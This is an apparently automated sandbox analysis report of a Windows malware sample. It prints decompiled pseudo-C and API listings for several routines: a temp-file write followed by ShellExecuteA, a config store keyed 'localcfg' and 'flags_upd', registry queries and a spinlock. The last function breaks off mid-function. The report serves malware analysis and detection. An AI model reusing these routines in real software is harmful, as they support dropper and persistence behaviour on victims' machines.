Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Strings

PromptOnSecureDesktop, xrefs: 004042A9

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID: PromptOnSecureDesktop
API String ID: 1371578007-2980165447
Opcode ID: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction ID: 96190e95dfac0256a72039fb05246d043f10f1ed4b28fe2ef93a25e2cd6a7057
Opcode Fuzzy Hash: 1ca6cf8784600e63233360972df8e8f73f6c7624b12c89556f18688b41653a7a
Instruction Fuzzy Hash: D94181B1900209BADB109BA2CD45FDFBFBCEF40355F104566F604B21C1D7789A51DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 006C6CB0, Relevance: 10.6, APIs: 7, Instructions: 106fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 006C6CCD
GetDiskFreeSpaceA.KERNEL32(?,?,?,?,?), ref: 006C6D0B
GetLastError.KERNEL32 ref: 006C6D90
CloseHandle.KERNEL32(?), ref: 006C6D9E
GetLastError.KERNEL32 ref: 006C6DBF
DeleteFileA.KERNEL32(?), ref: 006C6DD0
GetLastError.KERNEL32 ref: 006C6DE6

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: ErrorLast$File$CloseCreateDeleteDiskFreeHandleSpace
String ID:
API String ID: 3873183294-0
Opcode ID: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction ID: 645bfe9aaaf56bc38358c90615ebe08b2291ad1b834cf50533519ed1aeeeb109
Opcode Fuzzy Hash: f20540f086f6cde11da1c0912bd8b4db093012cd4bd3a0bf5db3ffead886992b
Instruction Fuzzy Hash: EF31E072A00149BFCB11EFA4DD45FEE7FBAEF48310F148469F252E3251D670AA458B68

Uniqueness

Uniqueness Score: -1.00%

Function 00429BA0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 105windowCOMMON

Download Yara Rule

APIs

__invoke_watson_if_oneof.LIBCMTD ref: 00429C9E
_wcscpy_s.LIBCMTD ref: 00429CE0
__invoke_watson_if_error.LIBCMTD ref: 00429CE9
___crtMessageBoxW.LIBCMTD ref: 00429D02
_raise.LIBCMTD ref: 00429D1B

Strings

Ph(S@, xrefs: 00429C54

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: Message___crt__invoke_watson_if_error__invoke_watson_if_oneof_raise_wcscpy_s
String ID: Ph(S@
API String ID: 908537515-3518480229
Opcode ID: 681a2e30038e791f06f0c3c5b65b5329a08a91b6836d3f374e7ea33abb868d36
Instruction ID: 77fa3f9994fe9ae3f2664cfd68facdad882ea22ac3f356032dbd878bbe9d49ac
Opcode Fuzzy Hash: 681a2e30038e791f06f0c3c5b65b5329a08a91b6836d3f374e7ea33abb868d36
Instruction Fuzzy Hash: FA415374F40228ABDB28DB55EC46FDAB3B4AB48704F5040DAF609762C1D6B86E80DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00435317, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00435378
__aullrem.LIBCMT ref: 00435545
__aulldiv.LIBCMT ref: 00435567

Strings

0, xrefs: 00435333
9, xrefs: 00435578
', xrefs: 00435317

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction ID: 5c25f3715a4b4529893dcaad1815642d23a46ad7922544816aafc4548da407ae
Opcode Fuzzy Hash: 2cb84206010ed5459d3f7d39f241dc7a2205797c5f22d91f5477a294d4303920
Instruction Fuzzy Hash: 9D4104B1D05A28DFDF24CF48C899BAEB7B5BB58304F2095DAD408A7244C738AE81CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00427F48, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00427FA9
__aullrem.LIBCMT ref: 00428176
__aulldiv.LIBCMT ref: 00428198

Strings

', xrefs: 00427F48
9, xrefs: 004281A9
0, xrefs: 00427F64

Memory Dump Source

Source File: 0000001D.00000002.380442060.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_415000_3136.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction ID: bebfa3d60828069873d979db14ee6f68143a4ef7be6887686bf4d8175c7e558b
Opcode Fuzzy Hash: 409b183b6299ef632a0e13276c861cca1fa1d9278fb836ac723477c7ab451c98
Instruction Fuzzy Hash: 5F410271E06229CFDB64CF48DD89BAEB7B5BF84304F50819AD409AB241CB389E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00409145, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00409145(void* __eflags) {
				char _v264;
				char _v1288;
				char* _t13;
				void* _t20;
				void* _t23;
				void* _t29;

				_t29 = __eflags;
				GetModuleFileNameA(GetModuleHandleA(0),  &_v264, 0x104);
				CharToOemA( &_v264,  &_v264);
				_t13 =  &_v264;
				_push(_t13);
				_push(_t13);
				wsprintfA( &_v1288, E00402544(0x4122f8,  &E004107A8, 0x66, 0xe4, 0xc8));
				E0040EE2A(_t23, 0x4122f8, 0, 0x100);
				_t20 = E00409064(_t29,  &_v1288,  &_v264);
				if(_t20 != 0) {
					return ShellExecuteA(0, 0,  &_v264, 0, 0, 0);
				}
				return _t20;
			}

0x00409145
0x00409166
0x00409174
0x0040917a
0x00409180
0x00409181
0x004091a9
0x004091b6
0x004091c9
0x004091d3
0x00000000
0x004091e1
0x004091ea

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,PromptOnSecureDesktop), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32 ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 006C9395, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 006C93AF
GetModuleFileNameA.KERNEL32(00000000), ref: 006C93B6
CharToOemA.USER32(?,?), ref: 006C93C4
wsprintfA.USER32 ref: 006C93F9

Part of subcall function 006C92B4: GetTempPathA.KERNEL32(00000400,?), ref: 006C92CB
Part of subcall function 006C92B4: wsprintfA.USER32 ref: 006C9339
Part of subcall function 006C92B4: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 006C935E
Part of subcall function 006C92B4: lstrlen.KERNEL32(?,?,00000000), ref: 006C9372
Part of subcall function 006C92B4: WriteFile.KERNEL32(00000000,?,00000000), ref: 006C937D
Part of subcall function 006C92B4: CloseHandle.KERNEL32(00000000), ref: 006C9384

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 006C9431

Strings

PromptOnSecureDesktop, xrefs: 006C93E3, 006C93E8, 006C9405

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: c2e3862fc67a2194a333c1d06a5cfc8cf7e0700dd8296ad4c5c9d6806c883d36
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: 810140F69001187BD761A7619D8DFEF377CDB95B01F0040A6BB49E2080DAB496C58F75

Uniqueness

Uniqueness Score: -1.00%

Function 006CAA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 006CAACE

Strings

localcfg, xrefs: 006CAD5B
, xrefs: 006CAB9C

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: b0b8866ef7fadfc7caee7b1e9ee2f979b70306139116891c559ecf00d260410b
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: E2712A72A4020CABDF219BD4DC85FFE776BEF0030DF24406EF906A2191DA619D85875B

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

flags_upd, xrefs: 0040E8A7
localcfg, xrefs: 0040E8AB

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 006CE8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006CDF55: GetCurrentThreadId.KERNEL32 ref: 006CDFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 006CE8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,006C6111), ref: 006CE939
lstrcmp.KERNEL32(?,00000008), ref: 006CE972

Strings

A, xrefs: 006CE8AF, 006CE8B6, 006CE91F, 006CE981
A, xrefs: 006CE989
A, xrefs: 006CE949, 006CE94E

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: d47dea64da2acf7c5856239d85f5e121fbc2a8da8cebeb971ee81be0e703436e
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: 4B3198326007069BCB718F64D884BB67BFAEB09320F14852FE65587691E772E884CB85

Uniqueness

Uniqueness Score: -1.00%

Function 006C6DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 006C6E02

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: 402366f87c4d8c1997249e7e3a3f63de149b4a7f3129c275e4262a9758f939bd
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: 9D214F76108215BFDB119BA4EC49FEF3FAEDB4D7A4B20852EF502D1061EB71CA40966C

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,751443E0,?,00000000,0040E538,?,751443E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 0000001D.00000002.380383276.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001D.00000002.380417344.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_400000_3136.jbxd

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 006CC52C, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006CC69D
InterlockedIncrement.KERNEL32(006CC734), ref: 006CC6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,006CC730), ref: 006CC711
CloseHandle.KERNEL32(00000000,?,006CC730,00413588,006C8A60), ref: 006CC71C

Strings

localcfg, xrefs: 006CC52D

Memory Dump Source

Source File: 0000001D.00000002.380671348.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_6c0000_3136.jbxd

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 9f6c8c05ae3e2e679242cd655bbfd93fd294b6cd16615c3c9457bf0f1fbd463f
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: AC5160B1A00B418FC7649F6AC6D5A26F7EAFB48310B50593EE18BC7A90D774F840CB10

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
